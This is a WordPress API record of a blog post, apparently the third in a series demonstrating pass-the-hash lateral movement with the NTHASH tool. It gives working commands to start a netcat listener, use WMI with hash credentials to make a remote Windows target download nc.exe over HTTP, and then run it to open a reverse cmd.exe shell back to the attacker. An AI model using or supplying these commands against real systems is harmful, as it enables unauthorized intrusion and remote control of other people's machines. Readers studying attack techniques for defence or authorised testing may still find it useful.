{"id":2178,"date":"2019-10-29T08:02:18","date_gmt":"2019-10-29T07:02:18","guid":{"rendered":"http:\/\/labalec.fr\/erwan\/?p=2178"},"modified":"2019-10-29T12:40:03","modified_gmt":"2019-10-29T11:40:03","slug":"demonstrating-pth-lateral-movement-with-nthash-part-3","status":"publish","type":"post","link":"https:\/\/labalec.fr\/erwan\/?p=2178","title":{"rendered":"Demonstrating lateral movement with NTHASH Part #3"},"content":{"rendered":"<p>This time, lets introduce a variant of previous <a href=\"https:\/\/labalec.fr\/erwan\/?p=2172\" target=\"_blank\" rel=\"noopener\">article<\/a>.<\/p>\n<p>Rather than copying a file to a target using a remote admin$ share (which is not always available), lets have the target download a file via http.<\/p>\n<p>1.Set a shell with netcat on the attacker host<br \/>\n<strong>nc -L -vv -p 9000<\/strong><\/p>\n<p>2.download a file from internet on a remote target<\/p>\n<p>(remember, you are using a pth shell with proper logon details).<\/p>\n<p><strong>NTHASH-win64.exe \/runwmi \/server:target \/binary:powershell.exe -c (New-Object System.Net.WebClient).DownloadFile(&lsquo;http:%2f%2ferwan.labalec.fr%2fuploads%2fnc.exe&rsquo;,&rsquo;c:\\temp\\nc.exe&rsquo;);<\/strong><\/p>\n<p>Notice the %2f in place of the &lsquo;\/&rsquo; &#8211; Indeed, we need to escape this as otherwise it would be understood as command line parameter.<\/p>\n<p>3.Exec netcat on target host<br \/>\n<strong>NTHASH-win64.exe \/runwmi \/server:target \/binary:c:\\temp\\nc.exe attacker_ip 9000 -e cmd.exe<\/strong><\/p>\n<p>At this point you will get a shell popup in your listening netcat.<\/p>\n<p>Try a simple whoami for fun.<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>This time, lets introduce a variant of previous article. Rather than copying a file to a target using a remote admin$ share (which is not always available), lets have the target download a file via http. 1.Set a shell with netcat on the attacker host nc -L -vv -p 9000 2.download a file from internet <a href='https:\/\/labalec.fr\/erwan\/?p=2178' class='excerpt-more'>[&#8230;]<\/a><\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[118],"tags":[],"class_list":["post-2178","post","type-post","status-publish","format-standard","hentry","category-nthash","category-118-id","post-seq-1","post-parity-odd","meta-position-corners","fix"],"_links":{"self":[{"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/posts\/2178","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2178"}],"version-history":[{"count":4,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/posts\/2178\/revisions"}],"predecessor-version":[{"id":2202,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/posts\/2178\/revisions\/2202"}],"wp:attachment":[{"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2178"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2178"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2178"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}